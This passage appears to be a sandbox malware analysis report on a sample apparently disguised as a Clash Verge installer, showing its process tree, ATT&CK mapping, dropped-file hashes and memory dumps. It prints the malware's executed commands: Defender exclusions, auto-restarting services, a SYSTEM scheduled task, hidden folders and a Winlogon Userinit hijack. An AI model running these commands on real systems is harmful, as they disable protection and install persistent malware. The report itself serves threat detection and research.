  powershell -Command Add-MpPreference -ExclusionProcess VSSVC.exe; Add-MpPreference -ExclusionProcess ctfmon.exe; Add-MpPreference -ExclusionPath 'C:\Drivers'; Add-MpPreference -ExclusionPath 'C:\Windows\System32'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4540
- C:\Windows\system32\sc.exe
  sc create SysManager binPath= "cmd /c cd /d \"C:\Drivers\5eF2q\" && start \"\" \"C:\Drivers\5eF2q\rK4hJz8.exe\"" start= auto
  2⤵
  - Launches sc.exe
  PID:4260
- C:\Windows\system32\sc.exe
  sc create NetSvc binPath= "cmd /c cd /d \"C:\Drivers\5eF2q\" && start \"\" \"C:\Drivers\5eF2q\nBktV.exe\"" start= auto
  2⤵
  - Launches sc.exe
  PID:1744
- C:\Windows\system32\sc.exe
  sc failure SysManager reset= 0 actions= restart/1000
  2⤵
  - Launches sc.exe
  PID:3368
- C:\Windows\system32\sc.exe
  sc failure NetSvc reset= 0 actions= restart/1000
  2⤵
  - Launches sc.exe
  PID:4532
- C:\Windows\system32\sc.exe
  sc start NetSvc
  2⤵
  - Launches sc.exe
  PID:2820
- C:\Windows\system32\sc.exe
  sc start SysManager
  2⤵
  - Launches sc.exe
  PID:3412

C:\Windows\system32\cmd.exe
cmd /c cd /d "C:\Drivers\5eF2q" && start "" "C:\Drivers\5eF2q\nBktV.exe"
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4584
- C:\Drivers\5eF2q\nBktV.exe
  "C:\Drivers\5eF2q\nBktV.exe"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:836
- - C:\Windows\SYSTEM32\schtasks.exe
    schtasks /create /F /tn SysManager /tr C:\Drivers\5eF2q\rK4hJz8.exe. /sc ONSTART /ru "NT AUTHORITY\SYSTEM" /rl HIGHEST
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:2940
- - C:\Windows\SYSTEM32\sc.exe
    sc start SysManager
    3⤵
    - Launches sc.exe
    PID:4840
- - C:\Windows\SYSTEM32\cmd.exe
    cmd /c "icacls \"C:\Drivers\" /deny Users:(D)"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:3588
  - - C:\Windows\system32\icacls.exe
      icacls \"C:\Drivers\" /deny Users:(D)
      4⤵
      Modifies file permissions
      PID:4472
- - C:\Windows\SYSTEM32\cmd.exe
    cmd /c "icacls \"C:\Drivers\" /grant Users:(OI)(CI)(RX)"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:2596
  - - C:\Windows\system32\icacls.exe
      icacls \"C:\Drivers\" /grant Users:(OI)(CI)(RX)
      4⤵
      Modifies file permissions
      PID:4252
- - C:\Windows\SYSTEM32\attrib.exe
    attrib C:\Drivers +s +h
    3⤵
    - Sets file to hidden
    - Views/modifies file attributes
    PID:4184
- - C:\Windows\SYSTEM32\attrib.exe
    attrib C:\Drivers\* +s +h /S /D
    3⤵
    - Sets file to hidden
    - Views/modifies file attributes
    PID:2092
- - C:\Windows\SYSTEM32\reg.exe
    reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Userinit /t REG_SZ /d C:\Windows\system32\userinit.exe,C:\Drivers\5eF2q\rK4hJz8.exe., /f
    3⤵
    - Modifies WinLogon for persistence
    PID:4028

C:\Windows\system32\cmd.exe
cmd /c cd /d "C:\Drivers\5eF2q" && start "" "C:\Drivers\5eF2q\rK4hJz8.exe"
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:1088
- C:\Drivers\5eF2q\rK4hJz8.exe
  "C:\Drivers\5eF2q\rK4hJz8.exe"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1516
- - C:\Drivers\5eF2q\rK4hJz8.exe
    "C:\Drivers\5eF2q\rK4hJz8.exe"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - Modifies trusted root certificate store through registry
    - Modifies system certificate store
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of SetWindowsHookEx
    - Suspicious use of WriteProcessMemory
    PID:3096
  - - C:\Windows\system32\cmd.exe
      cmd ver
      4⤵
      PID:5024
  - - C:\Windows\system32\w32tm.exe
      w32tm /resync
      4⤵
      PID:3584

C:\Windows\system32\cmd.exe
cmd /c cd /d "C:\Drivers\5eF2q" && start "" "C:\Drivers\5eF2q\rK4hJz8.exe"
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:1436
- C:\Drivers\5eF2q\rK4hJz8.exe
  "C:\Drivers\5eF2q\rK4hJz8.exe"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  PID:4840
- - C:\Windows\system32\WerFault.exe
    C:\Windows\system32\WerFault.exe -u -p 4840 -s 488
    3⤵
    PID:4252

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

System Services

T1569

Service Execution

T1569.002

Persistence

Boot or Logon Autostart Execution

T1547

Winlogon Helper DLL

T1547.004

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Winlogon Helper DLL

T1547.004

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

File and Directory Permissions Modification

T1222

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Modify Registry

T1112

Subvert Trust Controls

T1553

Install Root Certificate

T1553.004

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

F05aBjmR.rf

Path C:\Drivers\5eF2q\F05aBjmR.rf
Size 292KB
SHA256 5b7a628d7a03c9da1322c62cc861014e100b0dd2c789d7769ef274a49fe6d2f3
MD5 a9713524c66d48ecc4a810a97e50617c
SHA1 8d460c21b6e3a4a9ae5172478e5cd3eecdd135fc
SHA512 11944bfc8067840c11791529b0f3567d6b1b06cede69c4bdae37955edf51888f5378994086878835ce6e39905d676cd8a1722dd87c9f189e390be68254944e08
SSDEEP 6144:Zq8mFyPpyV4fGKi0KOWXWnk/cnMIqTXcwAFGxnYC:Z9PpyVPKi0fWGn7Pwb
TLSH
T13A542A0FE52142B8D4FAC5B8472AE437F7707C5A4461756DAFC4AB202D32F6C922D786
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

YKD9Pm8KjZ.dqyw

Path C:\Drivers\5eF2q\YKD9Pm8KjZ.dqyw
Size 707KB
SHA256 bfca77c90c1a38ebe6d44f2dbfe206944eee52905b3eca47e4a264462dc2b5d9
MD5 ea3b1ca43505269216bbbe91dd985e98
SHA1 549935d29b92d8f1bb6b4433e5118d5ac79f60f7
SHA512 e323f01297b768121a7c31515280739b9ab178e6e306d5734b011593e761c01ff68dab30d5ada7b78f81ffd3e0dd530e67f8d3d7125b988fa7d2ad6d0af9c3f0
SSDEEP 12288:y8sa+OZEA8W7WqkPz17/YDu9Jr0xQ7ZjixCzIWsA/EFW7i/UU6/C1yZpYIZy5R8l:OmSAz7Wqg18D6++78xFKEwnN/fbEJE
TLSH
T107F4AEEDBB764BB11D742F9F426646FF5388C3121C64E1A6AD2400468E1FFE2E276718
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

bAAF9E.aip

Path C:\Drivers\5eF2q\bAAF9E.aip
Size 673KB
SHA256 d2b796377f690b0cc742bb2a45e15fb63a4e2849e29867c9f6a974926cd78550
MD5 669a5cbb9b6044dc21c2a346d005d8c9
SHA1 138f485bfa7966de4193cfe42293b109aa51d8c4
SHA512 9575f8ac765d9c83bbcd485a9e57149e784954383048b434afc951ee2d25d7547d1858c8cdd1e724ebeed7ff16f2a51386c6cc4e7c30116d391d571deaf20842
SSDEEP 12288:deNkP2cNBQ3cLsPkOrRf5UcCg9Wz3722E2jRNAp2x/mhff8LJWdA0+vFghOxJ261:deo2wB6OLUk8QJHv2ORsu
TLSH
T1C4E4BFEDBB760BB51D701F9F826645FF5398D6121C64E0AAAC1104468F1FBE2E27271C
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

glib-2.0-0.dll

Path C:\Drivers\5eF2q\glib-2.0-0.dll
Size 1.3MB
SHA256 c764bf91b3c3e0211c770d85d8a91aec780ab57bec45c471640dee71996632a3
MD5 fe75b57f1c3edf441b76453b4f9c511b
SHA1 d0a8577dcee78aa6dc852a303cd16e156f25ad10
SHA512 6fd82866abdc5b25e58cf6d50add410418f5d94a8e346de37fd9dcc3439fad49146996ac9daa3585020a84c48a1cd2efe6f6f42603e48bf7562e61750aacd273
SSDEEP 24576:BK8QkbzvL1lKtixuNKRX8/nb9J508SOYIiWUN0R2812hedIIpfd+McSLtvXAS5KE:nQkbzTTKtiI0X8/n5J508vin0R2812h2
TLSH
T1EE55279AB24935A7FB96DC3884A25353D27075040F2366DB2E5CC7691B2FAE7123AF01
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

gmodule-2.0-0.dll

Path C:\Drivers\5eF2q\gmodule-2.0-0.dll
Size 34KB
SHA256 2410d4decf55634551f60e4bff97bf31f48d5e4b16f35b63c272113c34fe316a
MD5 35296c5fd62b867cef2c06b8bafa0aaa
SHA1 8331ee1992fe181e2935bd19d4e677b114abf9da
SHA512 ae98ec86f9d3971c097dfe9d6cb9c2d1cba2bb028550f844d2697219dd56bb7beb338b7891a1d97d00e94d2f80c0592f0c1669575e5c180301a0221290412606
SSDEEP 768:iUOzdMRfH5+UtvK1dwY6Sdr6WYixxqT2AMxkEJ:iUOzdMkwodr6W7X4ExN
TLSH
T1B4F28D62EBA56446ED17D53CE0A61A1FD9B1B241176083CF133582990F763C2BFB93AC
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

gobject-2.0-0.dll

Path C:\Drivers\5eF2q\gobject-2.0-0.dll
Size 337KB
SHA256 d524599070624e36e1fe66f6b51b6293617f8b121f9070733ee7e65b9f533e06
MD5 adc3de4801169982c7af76be0d8892d6
SHA1 7060a1ff8a63fc6d7d1c3bf20a1cbd551f915d44
SHA512 8bdb448d1effb84e33ec7f31872e4e6d4ffd9709651e6a9929d0b952f4f225adec403b11eaadf2a2b71c12e50888628660e5a038cc6c28e5edaa434e00b7f319
SSDEEP 6144:40uW7tWrNxP1ovQ2A09JtYmkxNokMHhYCBTmlL2X+KT9CVaiSs3vlD6O7ZRMRR:4wtWrNxv0xYmkLokMHhYCBCWjidV6gRQ
TLSH
T11B743B5D32683155F9AFC03CC643AA06F3F274102762A7CB1BB483A52F37AD5A53A746
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

intl.dll

Path C:\Drivers\5eF2q\intl.dll
Size 89KB
SHA256 ffafa5df4a802721d91b1ee4fdb47c382b857075c7ea844da37a4fa5d9e0c252
MD5 e6b302c6a23c065257ba53ede55fbb33
SHA1 dd18b0ee1435e10ce664a6eafaf276e87713c43c
SHA512 5b40d63b0215d4e3ab81a234514e5d0bb588406647b4ff49c304d7f41daf214128c16f9a931cdf78f74a37d4b0318fa89d09a8dce25c6b8108335fce3ad84aa6
SSDEEP 1536:lmc1gwOy1MApxYz9pLbl2eE53eOrZT77Xwx7:ljTM0+fbl2eE5x7bY
TLSH
T1C2934A9E99954096CD2B81F4E552A741D6A37847032C8BDF0A7CC3152F9A8EB1F3B7E0
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

pcre.dll

Path C:\Drivers\5eF2q\pcre.dll
Size 417KB
SHA256 a8f99656e08dace4a8c5d0464e709e66d2b7f7da7f6cca53960a0b77b0e152ed
MD5 2b9dc960ec649604741ff9d5b1b6dd09
SHA1 ab4ecd4651cd4a81bdc89524134eef29b0dab42a
SHA512 a9f79da7cde900d8124a2c9d52e99072acbc131720cc6237091006bbc9b2ce1d0fc7c02ff4063ac3605b2e3518512affc073c496bc74bad16ca797695a357921
SSDEEP 3072:MatOyB0/rDOL+I95EYvQvY8nSpxdCuxKEMJsCkzuxCwjY2M3IvoLKL0cXZOP1BP4:MgN9PILuDhxgJTnsCotzw6Bdg1M9fpO
TLSH
T1D0942A0123B104B8FFEBE1374B56C552D7B9711863B38D9F25D0A9B0FA32BB5062E919
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

rK4hJz8.exe

Path C:\Drivers\5eF2q\rK4hJz8.exe
Size 108KB
SHA256 f61d37b15a18ba4496e9978d884164fbb3527121ff4dbb8c30537c76ad67e33e
MD5 78f71f690fbaa8ab216a386c1c86fb19
SHA1 62e279ba5a4488035f3de8ac8cc28408fcf2bdf6
SHA512 9b5edb13df35d166849517fa83540e896b9a31e876eeed0af52b9f7aa874ffff3f36e1ea9879f5db7461ee3cc0df58bb352476639b748d44f56b9dbeef9362f6
SSDEEP 3072:S3SsU2URZtY/OR8eKP34sBHzYz8ranoF7HbCAebq:IiXRjY/OR8eKH1YzU7HuA5
TLSH
T182B36C9AB39810D8CCA18179D5665117EBF0BC481B61A3DF4720F3090FB7AE67F3A649
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

vcruntime140.dll

Path C:\Drivers\5eF2q\vcruntime140.dll
Size 121KB
SHA256 d5e4d9a3e835fa679450145d6a7d94e36573a509317111904d9b3712c30d9066
MD5 6ca4edb2b52ec46c7fca3fd372ca6c00
SHA1 3d2998a27d164dd7cc3bc7d3eca08acf89a0ee42
SHA512 bda93ff2c306c82f1942ebd538f5c77ba593e3e20792159b2a2f5ebd086c524f6c6bd3de5ad722c71ff7d832d0149608289929e9b23f7858ebb960dbb3422f5f
SSDEEP 3072:ltkenID0f6aifkHWBXjG/Iuecbfmg4DCUil:YWSIHWBXjGlecbfYmN
TLSH
T1E4C36C42B2B401FBD16ED174C2A6AE23FB76B84547209BDF07A58A640F53BE06D3D345
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

vcruntime140_1.dll

Path C:\Drivers\5eF2q\vcruntime140_1.dll
Size 48KB
SHA256 1f2d41c4aa5db0bc33ebf7b66d72943a817d7ce6cbe880502a9403823633093f
MD5 cd1b08f4930b276ad78853580b76b5c6
SHA1 a0330279d3d0d47f19ed984726e25260b547a228
SHA512 6bcdd6b16d815d72dc7efd6a2352319ece102f3b7d85c648286e4b3b594b7670d61b7e05c580fc416421e1a1622b38737b1e90080171384e7e2cd5e37ac71225
SSDEEP 768:g3oZYctpzcx0pdESASv83Tw4DYEOMg9z7NONRds9zb:kc6wk3TgEqz7N6Rdkzb
TLSH
T140236BE4977C4082D8ABA870C1E6EE17BD38F7A61B10968B07A5D14C1E537D1AB3D31A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

vmtools.dll

Path C:\Drivers\5eF2q\vmtools.dll
Size 79KB
SHA256 357846c1c3b77fcf33ed3611f6087ba5ea8b821db0175b1ed21a8a0f93062f79
MD5 e08e9ef87f331976675f7c349bbf88f0
SHA1 65112dace7dde81454c423e212663895f43d3533
SHA512 9898df6a05ec02e413da74062b25c5d9b04045ea795bc10e3fa00289aa59fe8738ce4b86bd4aca873f7c821a8f5ac6094d50e571a630b305c915c59fda7c7f83
SSDEEP 1536:2iZ9PO8tqEvqi5Pn0FIEj5ogQZnXqKMWS7XtHxe:2+cudvlJAIEj5ogQZnXqKMWSbO
TLSH
T14683EF2BC24B61FCC54AD772801D7725EA93B26C830C7252E7519AB147B0B781EEF978
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

drivers.dat

Path C:\Drivers\drivers.dat
Size 29KB
SHA256 f9f31ca064b115892d545171c3d71dcdefa36779ddbbae2e228fce201ab32836
MD5 cee3ad35c956bd732fb46e2c3758ac6e
SHA1 63b092c3c89c6ab66d272e150977063ed2b9f777
SHA512 fd20e43febb9fe7973111aa902b67f8c047eed59ae1aef17c32ac5e8fddf09c6fd0432cbbe6c19f2bb81cf145aa54a2a8883b3df4f2e94a406a7b2d69efd213a
SSDEEP 768:EkgJL09YHg9Iz+GL9vEg2kcH0+hX34o4eBk2:Eh2AgOqar4b94o4eO2
TLSH
T1BDD2E1671A2AF2CE69309E0BD48DE946F5DE0BD6F14D643871400AF39DEA4685BD348C
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

drivers.dat

Path C:\Drivers\drivers.dat
Size 30KB
SHA256 daac3de41dfc77c36f7f53f67e4f73f0172fd2816a90ac2ef26d588a4695f35f
MD5 339f1bd14150412ed428c85a5782f15d
SHA1 9d14f260ded5462adc700489588c1a83c9cca1d2
SHA512 840e4f731ebad4924aba3d480c40fe1f84a505d6e2723bf267dbdb3a0d9422a686625f7c7c04194dc6531986bf16110f70f16d4c633f9de6aae0691766bb4832
SSDEEP 768:EkgJL09YHg9Iz+GL9vEg2kcH0+hX34o4eBkd:Eh2AgOqar4b94o4eOd
TLSH
T19CD2E1671A2AF2CE69308E0BD48DE946F9DE0BD6F10D743874400AF79DEA4685AD208C
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

drivers.dat

Path C:\Drivers\drivers.dat
Size 30KB
SHA256 7e4420457281d02b2c20ab76ae41c6319cc7240100eaeb47193a28813ad0ffca
MD5 f7879dd171cd21f1b60e2dcf255945c9
SHA1 40f89e35f95fe83f2903e157aa6f856fda6b369e
SHA512 499c245bca5e8bf8d7164d29f4136948f73d2542822f0a2b7d174670cecbd1620770d7a1ddb075a0dc266bb04be60e47bab20bf1d675e7a73eafbf6c319f0f73
SSDEEP 768:EkgJL09YHg9Iz+GL9vEg2kcH0+hX34o4eBkV6:Eh2AgOqar4b94o4eOV6
TLSH
T163E2E0671A2BF2CE6D304E0BD4C9E946FADA0BD6F10D743474400AF79DEA4689AD248C
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

drivers.dat

Path C:\Drivers\drivers.dat
Size 31KB
SHA256 e6275099f1977cc07b308695e16f991af30be24de573385120cfc1878cb80144
MD5 b251d472f18f56a614238e9a8ed16b58
SHA1 1c44422560426690d2d26f876d7791e7648e2aad
SHA512 c81fd46c5921412e1ff5b4e82dff6bdc7ddcb035efc70d44744d2a3757e2aefad6d49eda192d74b42ff85e4ec2229c88e2419bb0b61bde00b99148b5cd493a57
SSDEEP 768:EkgJL09YHg9Iz+GL9vEg2kcH0+hX34o4eBkVAmo:Eh2AgOqar4b94o4eOV8
TLSH
T110E2D0671A3BF2CAA9204E1BD5C9E946F9DA0BE6F04D6434744006F79DEA4685AD208C
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

drivers.dat

Path C:\Drivers\drivers.dat
Size 32KB
SHA256 62d0283cdd831ba6890d6a41708ed4c04ed54c21a492f74ebe784634d0620750
MD5 3f3dc103006a1c82bf5d127719584b7c
SHA1 7d7875402a25f5f7b0ff31579933589aa65f9a1d
SHA512 9f46410d0ed410d85c783701fe39771cfd24c3daac4b888f5981748dab95aa6dcf1610d10606071a0dccbc07aaecb0fe8b8ab153c4c67278102cbee975bbd62b
SSDEEP 768:EkgJL09YHg9Iz+GL9vEg2kcH0+hX34o4eBkVAmUvlY:Eh2AgOqar4b94o4eOVAlY
TLSH
T169E2E1671A2BF2CABD305E0BA48DDA46F9DE0BE2F0096434B54016F7DEEA46856C304C
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

drivers.dat

Path C:\Drivers\drivers.dat
Size 33KB
SHA256 d19342d3c09a69e046835759197d03103dac9a242ce881168a07776ddcb8beba
MD5 4fb23c49f2cfa44fbcc26951694ac964
SHA1 26e5f488bec5d1469eeec2863a99f73715768a9a
SHA512 502d75bb2eb7908aa1b18fa757e3396fe797bce096aad45ecec4479257de5b416ab87159c11208c4e6e802b6ff43621296d3b53f23735b9b48bab31a16d07a89
SSDEEP 768:EkgJL09YHg9Iz+GL9vEg2kcH0+hX34o4eBkVAmUvlYiMDd:Eh2AgOqar4b94o4eOVAlYiMh
TLSH
T16CE2E1671A3BF2CAAD704E0BA48DDA06F9DE0BE2F0096434B14016F79EFA46856D344C
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

drivers.dat

Path C:\Drivers\drivers.dat
Size 6KB
SHA256 4fe59d8817c145cd1584ab27106cff7371afe30c2ae26ae21370c81bce967716
MD5 931a346e03d8a041b01c587ee5601d40
SHA1 6f096fbe4edcc758091c875141eb7a1bb8b9d5b8
SHA512 69f3e4592245d67c07118eff5ef5e389a7fd33aacdb291b841b8ed5ebdbeb2d4911a570b53e7a8b359f98c494c6f7ce21d316f271e3640ce2b29fdc3ffd4ed65
SSDEEP 192:QcckYA1LVkUVqMiXcOAR/+g1CLxo15/w0Oc1:EkVqyeXcOG9olG/w0Oa
TLSH
T1BCD19FB211A7B5C46924DC4FC50ADD53F9F255D1B0D5E96480C838BE25FD4EAA7D0098
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

drivers.dat

Path C:\Drivers\drivers.dat
Size 82KB
SHA256 51012d1dbb71fa6e56b63cdb871192eca6918cc758c4fbdd025813bec9cc41b7
MD5 b48c72326eee3b46a225832188b43fba
SHA1 a92b045d7c9157eddd1bd4abc8bd0a521bc70c80
SHA512 e1f82307ee331ecc921873761e0c241af516e1e2b59b71229a527820fffe71a21b4348666925093524869d12a0ef799dd7f74de8b68ecee82b7af78fcd318aa9
SSDEEP 1536:Eh2AgOqar4b94o4eOVAlYiMATflX6s0lLKtmy+Hw+WBhWz1KXhvT1eD92qzitnk:BP6XpVAlYMjpl0pAWhWvWzsTcUqyk
TLSH
T129831207193AB5DCAD3B6F0EBCD4CA01F4C80BEBF459B638B5A505D34C0692D15C6C98
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

drivers.dat.0

Path C:\Drivers\drivers.dat.0
Size 32KB
SHA256 3e56d9f52c2c4bca38b61424e2a77020f52fa4165f9fdf178c33299516d79f21
MD5 252d82985d125fa5c6004cd1fc238790
SHA1 f762b4e835b974c6e564ad3e3d65a7a379cb9582
SHA512 69ea7445dd02f70f701aea00ce69aa8da21e378f684a6350314c8d9aeb9e933c77ef9f3c52c37625d7a01b20fae26a4a8390308fd268a369ea8400a6178d8497
SSDEEP 768:EkgJL09YHg9Iz+GL9vEg2kcH0+hX34o4eBkVAmUvl4:Eh2AgOqar4b94o4eOVAl4
TLSH
T1C5E2E1671A2BF2CABD304E0B948DDA46F9DE0BE6F00D6434754016F7DEEA46856D344C
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

drivers.dat.0

Path C:\Drivers\drivers.dat.0
Size 32KB
SHA256 d88e4ef986384d35909704ac92cd8d2e3e4b278f924ea040b8159559f1d97b49
MD5 dfda0a707fdfe242f5a0a25602bd86a1
SHA1 40b4dff74d126c7e4b4949054576647e83157b56
SHA512 14934df5f64889f8f24881ba5e6ae2d4d302c910772d79a52b6ca14af611d6a94cd07928add2ae46c71a3746686904ce27735b23fec1a2bf8acf003215d014d8
SSDEEP 768:EkgJL09YHg9Iz+GL9vEg2kcH0+hX34o4eBkVAmUv5:Eh2AgOqar4b94o4eOVA5
TLSH
T177E2E1671A2BB2CAAD305E1BE8CDDA46F9DE0BE2F1496434B14006F7DDEA47856D304C
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

drivers.dat.0

Path C:\Drivers\drivers.dat.0
Size 80KB
SHA256 0a54f2f7414f0559fd51bb5e3cf2ecd0118ca420adac8432d3b99eae2774f082
MD5 19f3d6954bc98f7801ea981bd78fc749
SHA1 4a6c38594b0b2ba4d6e21735a061b64579ba9337
SHA512 86147194de28737e6a3992e76474f0f027036bf0537547c25971eaa687f587cf7f35acef758eac2a777fa00efb3117507bd47e111885fbb7bf9f10060af0bed0
SSDEEP 1536:Eh2AgOqar4b94o4eOVAlYiMATflX6s0lLKtmy+Hw+WBhWz1KXhvT1eD92qzitnp:BP6XpVAlYMjpl0pAWhWvWzsTcUqyp
TLSH
T1C2831207493AB5DCAD3A6F1EB8E8CA11F4C80AFBF419B63CB5A505D38C06D2D15D2C99
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Clash.Verge2.5.2x64.tmp

Path C:\Users\Admin\AppData\Local\Temp\is-WPHAZW2IUZ.tmp\Clash.Verge2.5.2x64.tmp
Size 4.2MB
SHA256 44f0856741c464465eab526da2f23fd82ff36e2377bd8b45db8fcf6317b2901b
MD5 2b02c85cebace46a02a14f22537bea7a
SHA1 215467c764dc55b495f12b97e5e88a4acb5bc587
SHA512 c15b8aebf06f57d7be28a417ed1220285d9e9428c58d69fdded337a4d9c2d71e05138feb1bb72170eed4262e9af85675a0629b649365b8d8dcbc04af2f67eb39
SSDEEP 49152:9oPNK2dE9FwYQ9gSlxcij31yGKTddr9ssOzNEbTWkBfJPb0lOa333Py9:9gw26xBij3QG+ddr9/OzGbRwF333PU
TLSH
T17E266D13F288653AD46B1A3B483BA658583F7F313A168C477BEC2D4D4E396406D2A7C7
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

__PSScriptPolicyTest_pno5c0kd.bqo.ps1

Path C:\Windows\Temp\__PSScriptPolicyTest_pno5c0kd.bqo.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

powershell.exe.log

Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 4KB
SHA256 e27390d57580e3dfba07bec3d8e430203bbc91e90f6937079b3fd52abc721bd4
MD5 dbbd2d4458d7e8094846420da595dfc3
SHA1 267cb47b904f14a519d2bd73abfdb30e1a06e1a6
SHA512 480e7ca865b811f79f35fcfe7a9ac0280b48d1f9459873d18f000db55c72d53345cf3a10075c1ac407439545f699ce2a7bef38b00b4e19439edf384b00045531
SSDEEP 96:iq4uYqGEo9xx+incqKXq3qotzYNYr7aqCiNLm7RIz+cBPzQh0nRAy6FcxZcosQSm:iq4uYqGEUdncqKXq3qotzYuWq2Iz+wx
TLSH
T11D91EE323375E0D5C8263F07192C19C463AF439AEA54AF48B258620EED2714BDF122F7
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 93fd3c992521cef182e6847f4f6658c58cfd5bdde16d4732d1c055b3c9e34398
MD5 00a393b7ba301744fef3e6a7618aa4b7
SHA1 1e59132dfae5fc1b1f8cfdbd3b0aa281903ff743
SHA512 af1c75b62ab48ea5be32ba7ddca5e8f5afed1aba52a9f0fa8f7133b71f7fd3010b13f0dc692e218eac1057d4dcbcfdfa8b2a4ce284c246d9845819ea88b63516
TLSH
T18B218633B7ACC235C8D911BA208CAD01B2B5C3C7449ECE8B7B84C508A57F99ADB645E4
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 16fd6d94e0c7b32399059973de03a1dbb59b775d635e3cdbaf884aed03828607
MD5 ef6c1933fa57ec1c7d05fc3742bbe6b5
SHA1 97c53046d18b8fdc531e8288e06aa4e833abf9a4
SHA512 cfe35541b8da3389d97b48538ff27cb97075b95751fcd01930215103ca772a98b2ffc17cea50cdb6545596c7732e16e8d14589f98ed0941542165dc43aea775e
TLSH
T19A21AB33B79CC135C8C9157A108DAD01B2B5C3C7449ECE8B7BC4C518A57F899DF681A4
MD5 SHA1 SHA512 TLSH

Submit Download

memory/836-997-0x000001A8E3EF0000-0x000001A8E3F6D000-memory.dmp

Download

memory/836-995-0x000001A8E3AF0000-0x000001A8E3B44000-memory.dmp

Download

memory/1568-827-0x000001B8D7900000-0x000001B8D83C2000-memory.dmp

Download

memory/2676-329-0x000001EEF49C0000-0x000001EEF4A11000-memory.dmp

Download

memory/2676-355-0x000001EEF4B30000-0x000001EEF4BA4000-memory.dmp

Download

memory/3096-1297-0x0000018B12280000-0x0000018B15455000-memory.dmp

Download

memory/3096-1295-0x0000018B10280000-0x0000018B1098E000-memory.dmp

Download

memory/3392-0-0x0000000000790000-0x0000000000878000-memory.dmp

Download

memory/3392-130-0x0000000000790000-0x0000000000878000-memory.dmp

Download

memory/3892-5-0x00000000014D0000-0x00000000014D1000-memory.dmp

Download

memory/3892-77-0x00000000004E0000-0x000000000092D000-memory.dmp

Download

memory/4540-846-0x0000027F19920000-0x0000027F1A3E2000-memory.dmp

Download

memory/5020-788-0x00000255F3810000-0x00000255F3832000-memory.dmp

Download

memory/5020-807-0x00000255DA910000-0x00000255DB3D2000-memory.dmp

Download

memory/5020-804-0x00000255F3E40000-0x00000255F3E4A000-memory.dmp

Download

memory/5020-803-0x00000255F3E30000-0x00000255F3E36000-memory.dmp

Download

